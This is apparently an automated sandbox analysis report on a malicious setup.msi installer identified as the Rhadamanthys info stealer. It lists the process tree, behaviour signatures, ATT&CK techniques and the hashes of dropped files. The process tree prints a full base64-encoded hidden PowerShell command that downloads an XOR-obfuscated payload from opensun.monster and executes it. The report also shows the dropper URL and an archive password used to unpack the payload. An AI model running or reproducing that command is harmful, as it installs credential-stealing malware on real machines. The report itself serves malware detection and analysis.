Analysis

  • max time kernel
    93s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-06-2024 01:15

General

  • Target

    __x64___setup___x32__/setup.msi

  • Size

    24.5MB

  • MD5

    0bd85ea206276e8e5d6ea143c5cb8330

  • SHA1

    75079d986324ff1d4150bf00fd10ea73f43d0a76

  • SHA256

    8bd23057abb6865b761ae9719ea6a66ce97d70225abab2d7b2ddce84e35ca602

  • SHA512

    6ac02552c727394ed9036d5015f8a6652619f9fab7ac8e06ccf5bb301580143e4c24477722cfa8ac7e5082b298e3d8ee72b04a14fbe9ee454a120ba58baf0192

  • SSDEEP

    786432:zDMcQi4FgSUZGaQ5MHnPa4lJQJU8P8uBsTaxsn:zDMQ4KMaQqvu04On

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://opensun.monster/25053.bs64

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 14 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2676
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5104
    • C:\Windows\system32\msiexec.exe
      msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\__x64___setup___x32__\setup.msi
      1⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1588
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3380
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 06168E8D4E4EDE6607CBB7EB7F8485A3
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1336
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss4038.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi4035.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr4036.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr4037.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4080
      • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\UnRAR.exe
        "C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\UnRAR.exe" x -p79d20ea766e8 "C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\ruw9eigh.rar" "C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\"
        2⤵
        • Executes dropped EXE
        PID:3980
      • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\steamerrorreporter64.exe
        "C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\steamerrorreporter64.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3716
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe explorer.exe
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2220
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AbwBwAGUAbgBzAHUAbgAuAG0AbwBuAHMAdABlAHIALwAyADUAMAA1ADMALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4332
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 1820
            4⤵
            • Program crash
            PID:2012
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 1788
            4⤵
            • Program crash
            PID:2476
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 1776
            4⤵
            • Program crash
            PID:4424
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2220 -ip 2220
      1⤵
        PID:944
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2220 -ip 2220
        1⤵
          PID:3644
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2220 -ip 2220
          1⤵
            PID:1728

          Network

          MITRE ATT&CK Matrix ATT&CK v13

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Discovery

          Query Registry

          1
          T1012

          Peripheral Device Discovery

          1
          T1120

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Config.Msi\e573c7f.rbs
            Filesize

            21KB

            MD5

            92f73678fc74479db78db8aa60a32822

            SHA1

            8cc9a2c9f4bf20262946772b0b636916295d5564

            SHA256

            1200fb5918a16d2c6b32148f5eabd00fc142bb6db711e054d7e9df34fd17c814

            SHA512

            95d71ddea096354d77338d03b899caeb0382f1dfe9c26394bc9e0d7bb48c1cc9003a3b9f7c644b075cb3217f9c3c14caca4553214ba885f9ae8e40dfc49c6a9b

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            18KB

            MD5

            1dace4476d706ac2f1c6fd47065ead21

            SHA1

            a9703429db7cfeef5ba6df83855559c81a01f66d

            SHA256

            decbf2f411446508514adb974824c897a9dd6088e1055f83a15ba54abddc604f

            SHA512

            8732549cb521999ddb63c3b8d2ccc5020e6be363df7f4a4aca4a4bf6ad9d49c032433a2ad086ae91334b0c5e157f35e8371b973e416d59719021724d096d5468

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqgcwtic.fhw.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\msi4035.txt
            Filesize

            136B

            MD5

            61272a4ab9bf0a6ea76e28f2513726fa

            SHA1

            6027604a6bb09956c4b2d48a2d35470bfe86e39d

            SHA256

            1f432cbf91eda4097555450de475e90ea135477655bd33ef12609be369ba4754

            SHA512

            e309cd5c70df6303ac2c9528e487e01333504232fe8fc2d7bb0df1c5528fc2a5f5a6ce71bbd1ccffd727055dfb27019116f06b51945d34d72e2060563a480c17

          • C:\Users\Admin\AppData\Local\Temp\pss4038.ps1
            Filesize

            6KB

            MD5

            30c30ef2cb47e35101d13402b5661179

            SHA1

            25696b2aab86a9233f19017539e2dd83b2f75d4e

            SHA256

            53094df6fa4e57a3265ff04bc1e970c10bcdb3d4094ad6dd610c05b7a8b79e0f

            SHA512

            882be2768138bb75ff7dde7d5ca4c2e024699398baacd0ce1d4619902402e054297e4f464d8cb3c22b2f35d3dabc408122c207facad64ec8014f2c54834cf458

          • C:\Users\Admin\AppData\Local\Temp\scr4036.ps1
            Filesize

            682B

            MD5

            b32210f90a3fbfd1ef15caee45ebc871

            SHA1

            91deac74edcf1e6b4c3a81fa322ac76867075c62

            SHA256

            c2aaabc2c09034d97d1ee67d912f25fe5f966539ea19624f062ece0a5aad606b

            SHA512

            7b86aaa400b9f3b73720e99d1ae2f7ef3c4f23a7076b33545cdce6b34a003323fa05203193b1127f0bf25d718fe8d4f81ab282df04ba433dc1219e3f9ba4698b

          • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\UnRAR.exe
            Filesize

            494KB

            MD5

            98ccd44353f7bc5bad1bc6ba9ae0cd68

            SHA1

            76a4e5bf8d298800c886d29f85ee629e7726052d

            SHA256

            e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b

            SHA512

            d6e8146a1055a59cba5e2aaf47f6cb184acdbe28e42ec3daebf1961a91cec5904554d9d433ebf943dd3639c239ef11560fa49f00e1cff02e11cd8d3506c4125f

          • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\ruw9eigh.rar
            Filesize

            382KB

            MD5

            128b722e0ebb178c36611aebe02999bf

            SHA1

            c5ac682b02a65f0bc8db41d18e0ec446ee8df2fd

            SHA256

            ea63d053a4c92c389105ede63d11baca8158a62ec4fb684d12ea3087118e405e

            SHA512

            e5e3877a7fda5f4b9129e036d63afd31ac1cad8daa2fb5226fb5df472432aa9dab2f2c4547450354f0e34a7d6f6e09ccbc4d7733b29f31b67c75b1a7c73e40af

          • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\steamerrorreporter64.exe
            Filesize

            639KB

            MD5

            fd3ce044ac234fdab3df9d7f492c470a

            SHA1

            a74a287d5d82a8071ab36c72b2786342d83a8ef7

            SHA256

            0a0c09753b5103e86e32c2d8086dd1399f0d97a00e1525ec9c390067cdb242ba

            SHA512

            86d7e805fab0e5130003facbb1525ee261440846f342f53ae64c3f8d676d1208d5fd9bd91e3222c63cc30c443348eb5ddedab14c8847dae138fba7e9be69d08d

          • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\tier0_s64.dll
            Filesize

            386KB

            MD5

            7e60404cfb232a1d3708a9892d020e84

            SHA1

            31328d887bee17641608252fb2f9cd6caf8ba522

            SHA256

            5a3e15cb90baf4b3ebe0621fa6f5f37b0fe99848387d6f2fd99ae770d1e6d766

            SHA512

            4d8abd59bd77bdb6e5b5e5f902d2a10fa5136437c51727783e79aed6a796f9ee1807faf14f1a72a1341b9f868f61de8c676b00a4b07a2a26cfb8a4db1b77eb3c

          • C:\Users\Admin\AppData\Roaming\Jikas Corp Ko\MobiuQus\vstdlib_s64.dll
            Filesize

            1023KB

            MD5

            1e03adffd3912b6e3e8a4969fa7eeb26

            SHA1

            012f2578ff5800c3fc7972843bb99a851a2f03d0

            SHA256

            edcff29d4eed320bcd710db9426be3b39223752fa8de4dafcfd3c5fbda24ea5f

            SHA512

            96ccb3e1095b99918ea6279405538882f3658293452292fc4a3272c6cee284fa0cc52ec4325690cc27046ca8faf4c98a94e31066a25aff526eb93d5a7baf71be

          • C:\Windows\Installer\MSI3D18.tmp
            Filesize

            738KB

            MD5

            b158d8d605571ea47a238df5ab43dfaa

            SHA1

            bb91ae1f2f7142b9099e3cc285f4f5b84de568e4

            SHA256

            ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504

            SHA512

            56aef59c198acf2fcd0d95ea6e32ce1c706e5098a0800feff13ddb427bfb4d538de1c415a5cb5496b09a5825155e3abb1c13c8c37dc31549604bd4d63cb70591

          • C:\Windows\Installer\MSI3F40.tmp
            Filesize

            758KB

            MD5

            fb4665320c9da54598321c59cc5ed623

            SHA1

            89e87b3cc569edd26b5805244cfacb2f9c892bc7

            SHA256

            9fb3156c665211a0081b189142c1d1ab18cda601ee54d5f5d8883ecfa4177a59

            SHA512

            b205552a3cfbaa2202e6ef7e39e229af167b2342a7dc4a2f4cadfe4d05000966cf19e9e208e44d6bb0fd6a56f4283caeed9c13f523e5b301b87f79febb1840cf

          • C:\Windows\Installer\e573c7c.msi
            Filesize

            24.5MB

            MD5

            0bd85ea206276e8e5d6ea143c5cb8330

            SHA1

            75079d986324ff1d4150bf00fd10ea73f43d0a76

            SHA256

            8bd23057abb6865b761ae9719ea6a66ce97d70225abab2d7b2ddce84e35ca602

            SHA512

            6ac02552c727394ed9036d5015f8a6652619f9fab7ac8e06ccf5bb301580143e4c24477722cfa8ac7e5082b298e3d8ee72b04a14fbe9ee454a120ba58baf0192

          • memory/2220-199-0x0000000004590000-0x0000000004990000-memory.dmp
            Filesize

            4.0MB

          • memory/2220-200-0x0000000004590000-0x0000000004990000-memory.dmp
            Filesize

            4.0MB

          • memory/2220-203-0x00000000760F0000-0x0000000076305000-memory.dmp
            Filesize

            2.1MB

          • memory/2220-201-0x00007FFDBA9D0000-0x00007FFDBABC5000-memory.dmp
            Filesize

            2.0MB

          • memory/2220-174-0x0000000000270000-0x0000000000298000-memory.dmp
            Filesize

            160KB

          • memory/2220-172-0x0000000000270000-0x0000000000298000-memory.dmp
            Filesize

            160KB

          • memory/2220-173-0x0000000000270000-0x0000000000298000-memory.dmp
            Filesize

            160KB

          • memory/3716-168-0x000001ED15210000-0x000001ED15211000-memory.dmp
            Filesize

            4KB

          • memory/4080-32-0x00000000058F0000-0x0000000005956000-memory.dmp
            Filesize

            408KB

          • memory/4080-50-0x0000000007F30000-0x00000000084D4000-memory.dmp
            Filesize

            5.6MB

          • memory/4080-28-0x0000000002980000-0x00000000029B6000-memory.dmp
            Filesize

            216KB

          • memory/4080-44-0x0000000005FE0000-0x000000000602C000-memory.dmp
            Filesize

            304KB

          • memory/4080-43-0x0000000005F50000-0x0000000005F6E000-memory.dmp
            Filesize

            120KB

          • memory/4080-47-0x00000000064B0000-0x00000000064CA000-memory.dmp
            Filesize

            104KB

          • memory/4080-42-0x0000000005960000-0x0000000005CB4000-memory.dmp
            Filesize

            3.3MB

          • memory/4080-29-0x0000000005120000-0x0000000005748000-memory.dmp
            Filesize

            6.2MB

          • memory/4080-53-0x0000000008BE0000-0x000000000910C000-memory.dmp
            Filesize

            5.2MB

          • memory/4080-46-0x00000000078B0000-0x0000000007F2A000-memory.dmp
            Filesize

            6.5MB

          • memory/4080-30-0x0000000004F90000-0x0000000004FB2000-memory.dmp
            Filesize

            136KB

          • memory/4080-48-0x0000000007230000-0x00000000072C6000-memory.dmp
            Filesize

            600KB

          • memory/4080-52-0x00000000084E0000-0x00000000086A2000-memory.dmp
            Filesize

            1.8MB

          • memory/4080-31-0x0000000005880000-0x00000000058E6000-memory.dmp
            Filesize

            408KB

          • memory/4080-49-0x0000000006540000-0x0000000006562000-memory.dmp
            Filesize

            136KB

          • memory/4332-235-0x000001A5750D0000-0x000001A5755F8000-memory.dmp
            Filesize

            5.2MB

          • memory/4332-198-0x000001A5747A0000-0x000001A5747BC000-memory.dmp
            Filesize

            112KB

          • memory/4332-234-0x000001A5749D0000-0x000001A574B92000-memory.dmp
            Filesize

            1.8MB

          • memory/4332-185-0x000001A5743F0000-0x000001A574412000-memory.dmp
            Filesize

            136KB

          • memory/5104-204-0x0000000000D30000-0x0000000000D39000-memory.dmp
            Filesize

            36KB

          • memory/5104-209-0x00000000760F0000-0x0000000076305000-memory.dmp
            Filesize

            2.1MB

          • memory/5104-207-0x00007FFDBA9D0000-0x00007FFDBABC5000-memory.dmp
            Filesize

            2.0MB

          • memory/5104-206-0x0000000002B70000-0x0000000002F70000-memory.dmp
            Filesize

            4.0MB